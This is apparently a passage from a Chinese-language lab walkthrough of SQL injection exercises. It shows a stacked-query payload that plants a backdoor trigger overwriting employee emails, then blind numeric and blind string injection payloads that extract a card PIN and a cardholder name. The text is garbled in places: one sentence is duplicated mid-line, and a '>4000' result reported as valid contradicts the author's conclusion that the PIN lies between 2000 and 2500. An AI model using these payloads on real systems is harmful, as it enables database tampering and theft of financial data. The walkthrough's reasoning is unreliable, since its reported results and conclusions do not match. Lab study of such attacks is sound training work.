101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20154322@qq.com‘ WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的。
数字盲注(Blind Numeric SQL Injection)
题目中说明了下面的表单允许用户输入帐号并确定它是否有效,即返回值只有账户有效或无效两种。
先输入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 4000);,结果是
Account number is valid.账户有效,再试试先输入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 4000);,结果是
Account number is valid.账户有效,再试试
再输入101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 2500 );,结果是
Invalid account number.,账户无效。也就是说,我们要找的数在2000~2500之间
利用二分法,多次尝试,找到数字为2364
盲字符串注入(Blind String SQL Injection)
输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) >‘z‘ );进行猜解,发现结果为Account number is valid,账户有效。再往大写的字母猜测,最终确定首字母为J
接下来猜第二个字母
输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) >‘h‘ );发现结果为Account number is valid,账户有效。